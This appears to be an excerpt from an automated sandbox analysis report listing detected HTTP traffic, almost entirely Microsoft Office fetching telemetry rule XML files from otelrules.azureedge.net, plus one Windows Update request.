Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1uoc19OFMACUN2E&MD=7BxMkHdp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
